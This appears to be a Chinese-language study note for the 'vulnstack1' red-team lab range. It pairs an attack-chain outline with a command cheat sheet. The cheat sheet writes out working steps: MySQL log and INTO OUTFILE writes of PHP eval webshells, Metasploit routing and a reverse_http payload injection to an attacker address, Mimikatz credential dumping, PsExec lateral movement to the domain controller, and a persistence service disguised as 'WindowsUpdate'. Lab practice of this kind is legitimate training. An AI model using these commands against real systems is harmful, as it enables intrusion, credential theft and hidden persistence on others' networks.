vulnstack1靶场学习
描述
红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线,目前给出作者实战的一套攻击实战路线如下,虚拟机所有统一密码:hongrisec@2019
一、环境搭建
- 环境搭建测试
- 信息收集
二、漏洞利用
3. 漏洞搜索与利用
4. 后台Getshell上传技巧
5. 系统信息收集
6. 主机密码收集
三、内网搜集
7. 内网--继续信息收集
8. 内网攻击姿势--信息泄露
9. 内网攻击姿势-MS08-067
10. 内网攻击姿势-SMB远程桌面口令猜测
11. 内网攻击姿势-Oracle数据库TNS服务漏洞
12. 内网攻击姿势-RPC DCOM服务漏洞
四、横向移动
13. 内网其它主机端口-文件读取
14. 内网其它主机端口-redis
15. 内网其它主机端口-redis Getshell
16. 内网其它主机端口-MySQL数据库
17. 内网其它主机端口-MySQL提权
五、构建通道
18. 内网其它主机端口-代理转发
六、持久控制
19. 域渗透-域成员信息收集
20. 域渗透-基础服务弱口令探测及深度利用之powershell
21. 域渗透-横向移动[wmi利用]
22. 域渗透-C2命令执行
23. 域渗透-利用DomainFronting实现对beacon的深度隐藏
24. 域渗透-域控实现与利用
七、痕迹清理
25. 日志清理
涉及知识点
1. 使用mysql写日志getshell
前提条件:
- 知道网站真实物理路径
- root身份
- mysql版本大于5.0
show variables like "general_log%"; --查看日志情况
set global general_log="on"; --开启日志记录
set global general_log_file="c:/phpStudy/WWW/shell.php" --设置日志保存文件
select '<?php @eval($_POST['hack']); ?>';
2. 后台找上传getshell(需要耐心,慢慢来)
3. 内网渗透
-
获得webshell后,也是一步步来,要有一个大概的思路
- 查看当前用户权限
whoami #如果不是,就要想办法提权
- 查看网卡信息
ipconfig /all #如果有上传Fscan进行内网大保健,扫一下
- 查看系统信息、进程信息,看看有没有杀软,可提权的exp
systeminfo tasklist /svc #将得到的信息放到提权辅助在线平台,如https://gh0st.cn/AssistTool、https://i.hacking8.com/tiquan/、http://bypass.tidesec.com/exp/
- 查看是否存在域
net time /domain net config workstation ipconfig /all
-
msf上线
执行木马,获取会话,getsystem提权。 -
搭建隧道
run post/multi/manage/autoroute
backgroud
use auxiliary/server/socks_proxy
set srvport 1080
run
配置:
vim /etc/proxy/proxychains4.conf
proxychains nmap -PN -p- 192.168.52.138
将msf会话转到CS上
backgroud
use exploit/window/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 10.10.10.128
set lport 8888
set DisablePayloadHandler True
set PrependMigrate True
sessions -l
set session 1
run
CS上监听10.10.10.128的8888端口
net view #查看域用户
抓取哈希以转储明文密码
logonpasswords
-
使用PsExec建立IPC通道,上线域控服务器
- 新建一个SMB协议的监听器
- Jump->psexec
- 设置好获取的密码和SMB监听器
-
持久化和恢复阶段
shell sc create "WindowsUpdate" binpath="cmd /c start "C:\User\Administrator\Desktop\artifact.exe" "&& sc config "WindowsUpdate" start=auto&&net start WindowsUpdate
补充
- file_into方式getshell
条件
secure_file_priv的值。
当value为"null"时,不允许读取文件
当value为"空"时,允许读取任意文件
value可以设置为其他路径
show global variables like "%secure%";
如果想通过into写入文件:
修改value的值:
windows下修改配置文件:mysql.ini
linux修改配置文件:my.cnf
select 1,'<?php eval($_POST[a]);?>' INTO OUTFILE '/var/www/html/test.php'
select 1,'<?php eval($_POST[a]);?>' INTO dumpfile '/var/www/html/test.php'
- msf获取hash
ps
migrate PID
load mimikatz
mimikatz_command -f sekurlsa::searchPasswords
load wiki
creds_all
- psexec
有了域管理员账号后,可以使用该域管理员密码利用psexec登录域内任何一台开启了admin$共享(该共享默认开启)的主机
下载地址
psexec.exe \\10.10.10.128 -u god\administrator -p hongrisec@2019 cmd